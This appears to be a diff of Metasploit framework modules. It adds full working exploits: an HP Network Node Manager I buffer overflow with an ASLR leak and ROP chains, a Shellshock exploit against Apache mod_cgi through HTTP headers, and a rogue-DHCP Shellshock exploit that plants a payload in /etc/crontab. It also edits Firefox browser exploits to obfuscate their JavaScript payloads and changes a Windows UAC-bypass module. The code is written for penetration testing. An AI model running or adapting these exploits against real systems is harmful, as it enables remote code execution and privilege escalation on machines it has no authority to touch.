rescue Interrupt
|
||||
break
|
||||
|
||||
ensure
|
||||
stop_service
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -30,19 +30,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'DefaultAction' => 'Service'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
|
||||
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
|
||||
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
|
||||
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
|
||||
OptString.new('ROUTER', [ false, "The router IP address" ]),
|
||||
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
|
||||
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
|
||||
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
|
||||
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
|
||||
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -74,6 +74,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
:os_flavor => 'Android'
|
||||
}
|
||||
))
|
||||
|
||||
deregister_options('JsObfuscate')
|
||||
end
|
||||
|
||||
# Hooked to prevent BrowserExploitServer from attempting to do JS detection
|
||||
|
|
|
@ -0,0 +1,229 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP Network Node Manager I PMD Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The
|
||||
vulnerability exists in the pmd service, due to the insecure usage of functions like
|
||||
strcpy and strcat while handling stack_option packets with user controlled data. In
|
||||
order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from
|
||||
the stack and finally build the rop chain to avoid NX.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'd(-_-)b', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-2624'],
|
||||
['ZDI', '14-305']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'Space' => 3000,
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd cmd_bash',
|
||||
'RequiredCmd' => 'generic python perl openssl bash-tcp gawk'
|
||||
}
|
||||
},
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix',
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic', {}],
|
||||
['HP NNMi 9.10 / CentOS 5',
|
||||
{
|
||||
# ptr to .rodata with format specifier
|
||||
#.rodata:0003BE86 aS_1 db '%s',0
|
||||
'ov_offset' => 0x3BE86,
|
||||
:rop => :rop_hp_nnmi_9_10
|
||||
}
|
||||
],
|
||||
['HP NNMi 9.20 / CentOS 6',
|
||||
{
|
||||
# ptr to .rodata with format specifier
|
||||
#.rodata:0003C2D6 aS_1 db '%s',0
|
||||
'ov_offset' => 0x3c2d8,
|
||||
:rop => :rop_hp_nnmi_9_20
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.20
|
||||
'DisclosureDate' => 'Sep 09 2014',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([ Opt::RPORT(7426) ], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
header = [
|
||||
0x2a5, # pmdmgr_init pkt
|
||||
0x3cc, # signature
|
||||
0xa0c, # signature
|
||||
0xca8 # signature
|
||||
].pack("V")
|
||||
|
||||
data = "\x00" * (0xfa4 - header.length)
|
||||
|
||||
pkt = header + data
|
||||
|
||||
connect_udp
|
||||
udp_sock.put(pkt)
|
||||
res = udp_sock.timed_read(8, 1)
|
||||
if res.blank?
|
||||
# To mitigate MacOSX udp sockets behavior
|
||||
# see https://dev.metasploit.com/redmine/issues/7480
|
||||
udp_sock.put(pkt)
|
||||
res = udp_sock.timed_read(8)
|
||||
end
|
||||
disconnect_udp
|
||||
|
||||
if res.blank?
|
||||
return Exploit::CheckCode::Unknown
|
||||
elsif res.length == 8 && res.unpack("V").first == 0x2a5
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect_udp
|
||||
# info leak with a "proto_tbl" packet
|
||||
print_status("Sending a 'proto_tbl' request...")
|
||||
udp_sock.put(proto_tbl_pkt)
|
||||
|
||||
res = udp_sock.timed_read(13964, 1)
|
||||
if res.blank?
|
||||
# To mitigate MacOSX udp sockets behavior
|
||||
# see https://dev.metasploit.com/redmine/issues/7480
|
||||
udp_sock.put(proto_tbl_pkt)
|
||||
res = udp_sock.timed_read(13964)
|
||||
end
|
||||
|
||||
if res.blank?
|
||||
fail_with(Failure::Unknown, "Unable to get a 'proto_tbl' response...")
|
||||
end
|
||||
|
||||
if target.name == 'Automatic'
|
||||
print_status("Fingerprinting target...")
|
||||
my_target = auto_target(res)
|
||||
fail_with(Failure::NoTarget, "Unable to autodetect target...") if my_target.nil?
|
||||
else
|
||||
my_target = target
|
||||
fail_with(Failure::Unknown, "Unable to leak libov base address...") unless find_ov_base(my_target, res)
|
||||
end
|
||||
|
||||
print_good("Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...")
|
||||
|
||||
# exploit with a "stack_option_pkt" packet
|
||||
udp_sock.put(stack_option_pkt(my_target, @ov_base))
|
||||
|
||||
disconnect_udp
|
||||
end
|
||||
|
||||
def rop_hp_nnmi_9_10(ov_base)
|
||||
rop = rand_text_alpha(775)
|
||||
rop << [0x808d7c1].pack("V") # pop ebx ; pop ebp ; ret
|
||||
rop << [ov_base + 0x481A8].pack("V") # ebx: libov .got
|
||||
rop << [0x8096540].pack("V") # ptr to .data where user controlled string will be stored:
|
||||
# "PMD Stack option specified, but stack not available (user_controlled)"
|
||||
rop << [0x808d7c2].pack("V") # pop ebp # ret
|
||||
rop << [0x08096540 + 4732].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
|
||||
rop << [ov_base + 0x1D692].pack("V") # ptr to 'call _system' sequence:
|
||||
#.text:0001D692 lea eax, [ebp+dest]
|
||||
#.text:0001D698 push eax ; command
|
||||
#.text:0001D699 call _system
|
||||
rop
|
||||
end
|
||||
|
||||
def rop_hp_nnmi_9_20(ov_base)
|
||||
rop = rand_text_alpha(775)
|
||||
rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret
|
||||
rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack("V") # eax: ptr to 'call _system' sequence
|
||||
#.text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028)
|
||||
#.text:0001DAEC push eax ; command
|
||||
#.text:0001DAED call _system
|
||||
rop << [0x08097160].pack("V") # ebx: ptr to .data where user controlled string will be stored:
|
||||
# "PMD Stack option specified, but stack not available (user_controlled)"
|
||||
rop << rand_text_alpha(4) # ebp: padding
|
||||
rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
|
||||
rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret
|
||||
rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret
|
||||
rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack("V") # eax: libov .got base
|
||||
rop << rand_text_alpha(4) # ebx: padding
|
||||
rop << [0x8097160 + 4764].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
|
||||
rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
|
||||
rop << [0x805a58d].pack("V") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got)
|
||||
rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret ; (eax: call to system sequence from libov)
|
||||
rop << [0x80528BC].pack("V") # jmp eax
|
||||
|
||||
rop
|
||||
end
|
||||
|
||||
def stack_option_pkt(t, ov_base)
|
||||
hdr = [0x2a9].pack("V") # stack_option packet
|
||||
data = "-SA" # stack name (invalid one 'A')
|
||||
data << ";" # separator
|
||||
data << self.send(t[:rop], ov_base) # malformed stack options
|
||||
data << payload.encoded
|
||||
data << ";\n"
|
||||
data << "\x00" * (0xfa4 - data.length - hdr.length)
|
||||
|
||||
hdr + data
|
||||
end
|
||||
|
||||
def proto_tbl_pkt
|
||||
hdr = [0x2aa].pack("V") # proto_tbl packet
|
||||
data = "\x00" * (0xfa4 - hdr.length)
|
||||
|
||||
hdr + data
|
||||
end
|
||||
|
||||
def base(address, offset)
|
||||
address - offset
|
||||
end
|
||||
|
||||
def find_ov_base(t, data)
|
||||
print_status("Searching #{t.name} pointers...")
|
||||
i = 0
|
||||
data.unpack("V*").each do |int|
|
||||
if base(int, t['ov_offset']) % 0x1000 == 0
|
||||
print_status("Pointer 0x#{int.to_s(16)} found at offset #{i * 4}")
|
||||
@ov_base = base(int, t['ov_offset'])
|
||||
return true
|
||||
end
|
||||
i = i + 1
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def auto_target(data)
|
||||
targets.each do |t|
|
||||
next if t.name == 'Automatic'
|
||||
if find_ov_base(t, data)
|
||||
return t
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
|
@ -79,21 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
"p2.constructor.defineProperty(obj,key,{get:runme});"
|
||||
end
|
||||
|
||||
%Q|
|
||||
<html>
|
||||
<body>
|
||||
#{datastore['CONTENT']}
|
||||
<div id='payload' style='display:none'>
|
||||
if (!window.done) {
|
||||
window.AddonManager.getInstallForURL(
|
||||
'#{get_module_uri}/addon.xpi',
|
||||
function(install) { install.install() },
|
||||
'application/x-xpinstall'
|
||||
);
|
||||
window.done = true;
|
||||
}
|
||||
</div>
|
||||
<script>
|
||||
script = js_obfuscate %Q|
|
||||
try{InstallTrigger.install(0)}catch(e){p=e;};
|
||||
var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
|
||||
p2.__exposedProps__={
|
||||
|
@ -116,6 +102,28 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
};
|
||||
for (var i in window) register(window, i);
|
||||
for (var i in document) register(document, i);
|
||||
|
|
||||
|
||||
js_payload = js_obfuscate %Q|
|
||||
if (!window.done) {
|
||||
window.AddonManager.getInstallForURL(
|
||||
'#{get_module_uri}/addon.xpi',
|
||||
function(install) { install.install() },
|
||||
'application/x-xpinstall'
|
||||
);
|
||||
window.done = true;
|
||||
}
|
||||
|
|
||||
|
||||
%Q|
|
||||
<html>
|
||||
<body>
|
||||
#{datastore['CONTENT']}
|
||||
<div id='payload' style='display:none'>
|
||||
#{js_payload}
|
||||
</div>
|
||||
<script>
|
||||
#{script}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
|
@ -129,24 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
:loader_path => "#{get_module_uri}.swf",
|
||||
:content => self.datastore['CONTENT'] || ''
|
||||
}
|
||||
%Q|
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<base href="chrome://browser/content/">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
|
||||
<symbol id="#{vars[:symbol_id]}">
|
||||
<foreignObject>
|
||||
<object></object>
|
||||
</foreignObject>
|
||||
</symbol>
|
||||
<use />
|
||||
</svg>
|
||||
|
||||
<script>
|
||||
script = js_obfuscate %Q|
|
||||
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
|
||||
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
|
||||
function $() {
|
||||
|
@ -169,6 +152,27 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
document.querySelector('use').setAttributeNS(
|
||||
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
|
||||
);
|
||||
|
|
||||
|
||||
%Q|
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<base href="chrome://browser/content/">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
|
||||
<symbol id="#{vars[:symbol_id]}">
|
||||
<foreignObject>
|
||||
<object></object>
|
||||
</foreignObject>
|
||||
</symbol>
|
||||
<use />
|
||||
</svg>
|
||||
|
||||
<script>
|
||||
#{script}
|
||||
</script>
|
||||
|
||||
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
|
||||
|
|
|
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
key = Rex::Text.rand_text_alpha(5 + rand(12))
|
||||
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
|
||||
|
||||
js = Rex::Exploitation::JSObfu.new(%Q|
|
||||
js = js_obfuscate %Q|
|
||||
var opts = #{JSON.unparse(opts)};
|
||||
var key = opts['#{key}'];
|
||||
var y = {}, q = false;
|
||||
|
@ -85,9 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return 5;
|
||||
};
|
||||
console.time(y);
|
||||
|)
|
||||
|
||||
js.obfuscate
|
||||
|
|
||||
|
||||
%Q|
|
||||
<!doctype html>
|
||||
|
|
|
@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+
|
||||
"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"
|
||||
|
||||
js = Rex::Exploitation::JSObfu.new(%Q|
|
||||
js = js_obfuscate %Q|
|
||||
var opts = #{JSON.unparse(opts)};
|
||||
var key = opts['#{key}'];
|
||||
|
||||
|
@ -127,10 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
setTimeout(function(){top.vvv.close();}, 100);
|
||||
}, 10);
|
||||
}
|
||||
|
||||
|)
|
||||
|
||||
js.obfuscate
|
||||
|
|
||||
|
||||
%Q|
|
||||
<!doctype html>
|
||||
|
|
|
@ -0,0 +1,130 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apache mod_cgi Bash Environment Variable Code Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a code injection in specially crafted environment
|
||||
variables in Bash, specifically targeting Apache mod_cgi scripts through
|
||||
the HTTP_USER_AGENT variable by default.
|
||||
},
|
||||
'Author' => [
|
||||
'Stephane Chazelas', # Vulnerability discovery
|
||||
'wvu', # Original Metasploit aux module
|
||||
'juan vazquez' # Allow wvu's module to get native sessions
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2014-6271'],
|
||||
['URL', 'https://access.redhat.com/articles/1200223'],
|
||||
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Space' => 2048
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x86',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'CmdStagerFlavor' => [ :echo, :printf ]
|
||||
}
|
||||
],
|
||||
[ 'Linux x86_64',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'CmdStagerFlavor' => [ :echo, :printf ]
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 24 2014',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to CGI script']),
|
||||
OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),
|
||||
OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
|
||||
OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]),
|
||||
OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']),
|
||||
OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
res = req("echo #{marker}")
|
||||
|
||||
if res && res.body.include?(marker * 3)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif res && res.code == 500
|
||||
injected_res_code = res.code
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => datastore['METHOD'],
|
||||
'uri' => normalize_uri(target_uri.path.to_s)
|
||||
})
|
||||
|
||||
if res && injected_res_code == res.code
|
||||
return Exploit::CheckCode::Unknown
|
||||
elsif res && injected_res_code != res.code
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Cannot use generic/shell_reverse_tcp inside an elf
|
||||
# Checking before proceeds
|
||||
if generate_payload_exe.blank?
|
||||
fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")
|
||||
end
|
||||
|
||||
execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], :nodelete => true)
|
||||
|
||||
# A last chance after the cmdstager
|
||||
# Trying to make it generic
|
||||
unless session_created?
|
||||
req("#{stager_instance.instance_variable_get("@tempdir")}#{stager_instance.instance_variable_get("@var_elf")}")
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
|
||||
|
||||
req(cmd)
|
||||
end
|
||||
|
||||
def req(cmd)
|
||||
send_request_cgi(
|
||||
{
|
||||
'method' => datastore['METHOD'],
|
||||
'uri' => normalize_uri(target_uri.path.to_s),
|
||||
'headers' => {
|
||||
datastore['HEADER'] => "() { :;};echo #{marker}$(#{cmd})#{marker}"
|
||||
}
|
||||
}, datastore['TIMEOUT'])
|
||||
end
|
||||
|
||||
def marker
|
||||
@marker ||= rand_text_alphanumeric(rand(42) + 1)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,91 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/dhcp'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::DHCPServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Dhclient Bash Environment Variable Injection',
|
||||
'Description' => %q|
|
||||
When bash is started with an environment variable that begins with the
|
||||
string "() {", that variable is treated as a function definition and
|
||||
parsed as code. If extra commands are added after the function
|
||||
definition, they will be executed immediately. When dhclient receives
|
||||
an ACK that contains a domain name or hostname, they are passed to
|
||||
configuration scripts as environment variables, allowing us to trigger
|
||||
the bash bug.
|
||||
|
||||
Because of the length restrictions and unusual networking scenario at
|
||||
time of exploitation, we achieve code execution by echoing our payload
|
||||
into /etc/crontab and clean it up when we get a shell.
|
||||
|,
|
||||
'Author' =>
|
||||
[
|
||||
'Stephane Chazelas', # Vulnerability discovery
|
||||
'egypt' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-6271']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
# 255 for a domain name, minus some room for encoding
|
||||
'Space' => 200,
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic bash telnet ruby',
|
||||
}
|
||||
},
|
||||
'Targets' => [ [ 'Automatic Target', { }] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 24 2014'
|
||||
))
|
||||
|
||||
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
print_status "Cleaning up crontab"
|
||||
# XXX this will brick a server some day
|
||||
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
|
||||
end
|
||||
|
||||
def exploit
|
||||
hash = datastore.copy
|
||||
# Quotes seem to be completely stripped, so other characters have to be
|
||||
# escaped
|
||||
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
|
||||
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
|
||||
hash['DOMAINNAME'] = "() { :; };#{echo}"
|
||||
if hash['DOMAINNAME'].length > 255
|
||||
raise ArgumentError, 'payload too long'
|
||||
end
|
||||
|
||||
hash['HOSTNAME'] = "() { :; };#{echo}"
|
||||
hash['URL'] = "() { :; };#{echo}"
|
||||
start_service(hash)
|
||||
|
||||
begin
|
||||
while @dhcp.thread.alive?
|
||||
sleep 2
|
||||
end
|
||||
ensure
|
||||
stop_service
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -37,7 +37,6 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
register_options([
|
||||
OptString.new('FILENAME', [false, 'File name on disk']),
|
||||
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
|
||||
OptBool.new('UPLOAD', [true, 'Should the payload be uploaded?', true]),
|
||||
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
|
||||
])
|
||||
end
|
||||
|
@ -55,14 +54,11 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
print_good 'UAC is not enabled, no prompt for the user'
|
||||
end
|
||||
|
||||
#
|
||||
# Generate payload and random names for upload
|
||||
#
|
||||
case datastore['TECHNIQUE']
|
||||
when 'EXE'
|
||||
execute_exe(datastore['FILENAME'], datastore['PATH'], datastore['UPLOAD'])
|
||||
shell_execute_exe(datastore['FILENAME'], datastore['PATH'])
|
||||
when 'PSH'
|
||||
execute_psh
|
||||
shell_execute_psh
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -4,7 +4,6 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/exe'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
@ -12,9 +11,10 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
include Exploit::EXE
|
||||
include Post::File
|
||||
include Post::Windows::Priv
|
||||
include Post::Windows::Runas
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
super( update_info(info,
|
||||
'Name' => 'Windows Escalate UAC Protection Bypass',
|
||||
'Description' => %q{
|
||||
This module will bypass Windows UAC by utilizing the trusted publisher
|
||||
|
@ -23,9 +23,9 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
|
||||
'mitnick',
|
||||
'mubix' # Port to local exploit
|
||||
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
|
||||
'mitnick',
|
||||
'mubix' # Port to local exploit
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
|
@ -40,6 +40,11 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
'DisclosureDate'=> "Dec 31 2010"
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptEnum.new('TECHNIQUE', [true, 'Technique to use if UAC is turned off',
|
||||
'EXE', %w(PSH EXE)]),
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
def check_permissions!
|
||||
|
@ -54,12 +59,12 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
||||
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
|
||||
fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -72,8 +77,8 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
||||
)
|
||||
when UAC_DEFAULT
|
||||
print_good "UAC is set to Default"
|
||||
print_good "BypassUAC can bypass this setting, continuing..."
|
||||
print_good 'UAC is set to Default'
|
||||
print_good 'BypassUAC can bypass this setting, continuing...'
|
||||
when UAC_NO_PROMPT
|
||||
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
|
||||
runas_method
|
||||
|
@ -89,15 +94,13 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
pid = cmd_exec_get_pid(cmd)
|
||||
|
||||
::Timeout.timeout(30) do
|
||||
until session_created? do
|
||||
select(nil,nil,nil,1)
|
||||
end
|
||||
select(nil, nil, nil, 1) until session_created?
|
||||
end
|
||||
session.sys.process.kill(pid)
|
||||
# delete the uac bypass payload
|
||||
file_rm(path_bypass)
|
||||
file_rm("#{expand_path("%TEMP%")}\\tior.exe")
|
||||
cmd_exec("cmd.exe", "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" )
|
||||
cmd_exec('cmd.exe', "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" )
|
||||
end
|
||||
|
||||
def path_bypass
|
||||
|
@ -109,24 +112,24 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def upload_binaries!
|
||||
print_status("Uploaded the agent to the filesystem....")
|
||||
print_status('Uploaded the agent to the filesystem....')
|
||||
#
|
||||
# Generate payload and random names for upload
|
||||
#
|
||||
payload = generate_payload_exe
|
||||
|
||||
# path to the bypassuac binary
|
||||
path = ::File.join(Msf::Config.data_directory, "post")
|
||||
path = ::File.join(Msf::Config.data_directory, 'post')
|
||||
|
||||
# decide, x86 or x64
|
||||
bpexe = nil
|
||||
if sysinfo["Architecture"] =~ /x64/i
|
||||
bpexe = ::File.join(path, "bypassuac-x64.exe")
|
||||
bpexe = ::File.join(path, 'bypassuac-x64.exe')
|
||||
else
|
||||
bpexe = ::File.join(path, "bypassuac-x86.exe")
|
||||
bpexe = ::File.join(path, 'bypassuac-x86.exe')
|
||||
end
|
||||
|
||||
print_status("Uploading the bypass UAC executable to the filesystem...")
|
||||
print_status('Uploading the bypass UAC executable to the filesystem...')
|
||||
|
||||
begin
|
||||
#
|
||||
|
@ -143,14 +146,14 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def runas_method
|
||||
payload = generate_payload_exe
|
||||
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
tmpdir = expand_path("%TEMP%")
|
||||
tempexe = tmpdir + "\\" + payload_filename
|
||||
write_file(tempexe, payload)
|
||||
print_status("Uploading payload: #{tempexe}")
|
||||
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
|
||||
print_status("Payload executed")
|
||||
case datastore['TECHNIQUE']
|
||||
when 'PSH'
|
||||
# execute PSH
|
||||
shell_execute_psh
|
||||
when 'EXE'
|
||||
# execute EXE
|
||||
shell_execute_exe
|
||||
end
|
||||
end
|
||||
|
||||
def validate_environment!
|
||||
|
@ -158,23 +161,20 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
#
|
||||
# Verify use against Vista+
|
||||
#
|
||||
winver = sysinfo["OS"]
|
||||
winver = sysinfo['OS']
|
||||
|
||||
unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
|
||||
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
||||
end
|
||||
|
||||
if is_uac_enabled?
|
||||
print_status "UAC is Enabled, checking level..."
|
||||
print_status 'UAC is Enabled, checking level...'
|
||||
else
|
||||
if is_in_admin_group?
|
||||
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
|
||||
fail_with(Exploit::Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
||||
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
|
|
